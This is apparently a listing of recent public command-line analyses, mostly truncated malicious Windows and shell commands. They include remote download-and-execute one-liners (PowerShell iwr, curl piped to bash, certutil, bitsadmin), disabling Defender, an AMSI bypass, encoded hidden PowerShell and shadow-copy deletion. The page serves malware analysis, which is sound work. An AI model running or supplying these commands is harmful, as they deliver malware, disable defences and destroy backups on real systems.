Recent analyses
Public command-line analyses — newest first.
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ExecutionPolicy Bypass "iwr wigglepoploaderfast.com/IXsWwgW…
"msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --s…
/s /r /u uk-UA tr-TR sv-SE sl-SI sk-SK ru-RU ro-RO pt-PT pt-BR pl-PL nl-NL nb-NO it-IT hu-HU he-IL fr-FR fi-FI es-ES el-…
"C:\WINDOWS\system32\pcalua.exe" -a "powershell" -c "Start-Service WebClient -ea 0;net use Z: /delete 2>$null; net use Z…
// Snap Margins to Text Frame BS"D // Copyright (c) 2020 Ariel Walden, www.Id-Extras.com. All rights reserved. // This w…
cmd.exe /d /s /c ""C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26050.15-0\mpextms.exe" chrome-extension://lc…
curl -fsSL hxxps://cdn.packages-update[.]xyz/install.sh | bash -s -- --no-verify
cmd.exe /c cd /d "C:\inetpub\wwwroot\aspnet_client\" & certutil.exe -urlcache -split -f hxxp://p.estonine[.]com/p & p
bitsadmin /transfer "WindowsUpdate" /download /priority normal hxxp://update-svc[.]xyz/patch.exe C:\Windows\Temp\patch.e…
powershell.exe -ep bypass -c "Set-MpPreference -DisableRealtimeMonitoring $true; schtasks /create /tn 'WindowsSecurityHe…
powershell -NonInteractive -WindowStyle Hidden -EncodedCommand JABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAR…
powershell -nop -w hidden -ep bypass -EncodedCommand JABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQB…
cmd.exe /c vssadmin delete shadows /all /quiet & wbadmin delete catalog -quiet & bcdedit /set {default} bootstatuspolicy…
powershell -ep bypass -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','No…
powershell.exe -NonInteractive -WindowStyle Hidden -EncodedCommand JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuA…
powershell -c "$b=[System.Convert]::FromBase64String('H4sIAAAAAAAA/6tWKkktLlGyUlIqS40vLUpVslIqLU4tykvMTQUA6nU3RDEAAAA=')…